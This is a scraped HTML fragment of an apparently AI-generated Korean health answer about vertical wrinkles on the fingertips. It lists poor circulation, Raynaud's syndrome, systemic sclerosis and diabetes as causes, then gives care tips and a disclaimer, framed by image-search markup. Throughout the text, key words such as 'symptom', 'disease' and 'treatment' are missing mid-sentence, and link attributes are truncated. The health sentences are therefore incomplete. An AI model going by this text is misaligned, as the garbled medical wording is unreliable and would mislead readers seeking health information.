ng-star-inserted"> 비타민이 풍부한 음식 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="16:1-18:0"> <p data-sourcepos="16:4-16:72"><strong>혈액순환 장애:</strong> 손끝까지 혈액 순환이 잘 되지 않으면 영양 공급이 부족해져 피부가 얇아지고 주름이 생길 수 있습니다.</p> <ul data-sourcepos="17:5-18:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ff4b6c7561847be0","c_0c872bd830960337",null,"rc_883a9ccbc06ea52a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.youtube.com/watch?v=fxq4-IiF25E"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="혈액순환 개선 운동 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTxlJKNTK8uzMOKyKFor8I2jl5SWwFFbHC-fX8BE_dgx-_g_11tLMpsxeb0VIMt"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.youtube.com/watch?v=fxq4-IiF25E" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ff4b6c7561847be0","c_0c872bd830960337",null,"rc_883a9ccbc06ea52a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.youtube.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 혈액순환 개선 운동 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="19:1-21:0"> <p data-sourcepos="19:4-19:115"><strong>레이노 증후군:</strong> 추위에 노출되거나 스트레스를 받으면 손가락 끝이 창백해지고 저리는 입니다. 오랜 기간 지속되면 손가락 끝에 궤양이나 괴사가 생길 수 있으며, 세로 주름도 나타날 수 있습니다.</p> <ul data-sourcepos="20:5-21:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ff4b6c7561847be0","c_0c872bd830960337",null,"rc_883a9ccbc06ea52a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://ko.wikipedia.org/wiki/%EB%A0%88%EC%9D%B4%EB%85%B8_%ED%98%84%EC%83%81"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="레이노 증후군 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQyomva1Dh2Kp37GdPvvfRcxkqX87Y6PS2N-fbgA7JVp8PHlbkecfqckWOCIIcD"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://ko.wikipedia.org/wiki/%EB%A0%88%EC%9D%B4%EB%85%B8_%ED%98%84%EC%83%81" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ff4b6c7561847be0","c_0c872bd830960337",null,"rc_883a9ccbc06ea52a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQYtmdcl8iY4_F9QIVUF7rcJWPcJY3DJJMYNz0OFczRxRphw86aShEnPM2slInt1YxDDuWcvkAJ0oS1Ny5DUEnCvqx_t9JvlgR0QA"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">ko.wikipedia.org</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 레이노 증후군 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="22:1-24:0"> <p data-sourcepos="22:4-22:96"><strong>전신 경화증:</strong> 피부가 두꺼워지고 딱딱해지는 자가면역입니다. 손가락 끝에 세로 주름뿐만 아니라 피부색 변화, 관절 통증 등 다양한 이 나타날 수 있습니다.</p> <ul data-sourcepos="23:5-24:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ff4b6c7561847be0","c_0c872bd830960337",null,"rc_883a9ccbc06ea52a",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.amc.seoul.kr/asan/healthinfo/disease/diseaseDetail.do?contentId=30836"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="전신 경화증 환자의 손 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcROG76q1E0BUM2EFjwaa9J5Vz4NAhhBF-UWNhlbWCFeedO8gsrqlO-3NlOgBI_F"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" s://.amc.seoul.kr/asan/healthinfo/disease/diseaseDetail.do?contentId=30836" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ff4b6c7561847be0","c_0c872bd830960337",null,"rc_883a9ccbc06ea52a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcR_OGkNY939KtAlXHzryOtz698n7F2zVByGZ2pzU-DnYHBX97Iziqw8jaakLddnCoBJ2aiCSkuHOE0jiO6n6dc0hlfRpX3SiKr2wQ"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.amc.seoul.kr</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 전신 경화증 환자의 손 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="25:1-27:0"> <p data-sourcepos="25:4-25:77"><strong>당뇨병:</strong> 당뇨병 합병증으로 손상된 신경은 손끝 감각을 둔하게 만들고, 혈액순환 장애를 일으켜 세로 주름을 유발할 수 있습니다.</p> <ul data-sourcepos="26:5-27:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c2471683105="" class="ng-star-inserted"><div _ngcontent-ng-c2471683105="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c2471683105="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c2471683105="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c3961757722="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_ff4b6c7561847be0","c_0c872bd830960337",null,"rc_883a9ccbc06ea52a",null,null,"ko",null,null,null,null,1,0]];mutable:true" ://.gysarang.com/Module/News/Lecture.asp?MODE=V&SRNO=6556"><span _ngcontent-ng-c3961757722="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c2471683105="" class="image loaded" alt="당뇨병 합병증 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQ7J36sUlChrb-6R462OnNB2xjunrKMGFiWnDigvgSxXwNnkFFlGo9ZSQNtkEEd"></span><span _ngcontent-ng-c3961757722="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c2471683105="" rel="noopener" class="source ng-star-inserted" ://.gysarang.com/Module/News/Lecture.asp?MODE=V&SRNO=6556" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_ff4b6c7561847be0","c_0c872bd830960337",null,"rc_883a9ccbc06ea52a",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c2471683105="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSRoQBsY10x6UY8dkWM_lUPNr5eZLne2cW8QnFC3KjoWqjJgi9JeyPAG8yHXXbStIyyU8e4iQ6dVakF-mehv5ygpau9aMwke90K"><span _ngcontent-ng-c2471683105="" class="label ellipsis gds-label-m-alt">.gysarang.com</span><span _ngcontent-ng-c2471683105="" aria-label=""></span></a></div><div _ngcontent-ng-c2471683105="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 당뇨병 합병증 </div></div></single-image></response-element></div></span> </ul> </li> </ol><h3 data-sourcepos="28:1-28:30">손가락 끝 세로 주름, 어떻게 관리해야 할까요?</h3><ul data-sourcepos="30:1-35:0"> <li data-sourcepos="30:1-30:36"><strong>보습:</strong> 핸드크림을 자주 발라 손을 촉촉하게 유지합니다.</li> <li data-sourcepos="31:1-31:40"><strong>영양 섭취:</strong> 비타민이 풍부한 채소, 과일을 충분히 섭취합니다.</li> <li data-sourcepos="32:1-32:42"><strong>혈액순환 개선:</strong> 따뜻한 물에 손을 담그거나 손 마사지를 해줍니다.</li> <li data-sourcepos="33:1-33:39"><strong>금연:</strong> 흡연은 혈액순환을 방해하여 피부 노화를 가속화합니다.</li> <li data-sourcepos="34:1-35:0"><strong>규칙적인 운동:</strong> 혈액순환을 개선하고 전반적인 건강을 증진시킵니다.</li> </ul><p data-sourcepos="36:1-36:94"><strong>주의:</strong> 손가락 끝 세로 주름이 심해지거나 다른 이 동반된다면 반드시 피부과 전문의에게 진찰을 받아 한 원인을 파악하고 적절한 를 받는 것이 중요합니다.</p><p data-sourcepos="38:1-38:65"><strong>Disclaimer:</strong> 이 정보는 일반적인 건강 정보이며, 의료 전문가의 진단 및 를 대체할 수 없습니다.</p><p data-sourcepos="40:1-40:69"><strong>참고:</strong> 위에 제시된 는 해당 의 일반적인 모습을 보여주기 위한 것이며, 개인마다 이 다를 수 있습니다.</p><p data-sourcepos="42:1-42:31"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p></div> </div></div>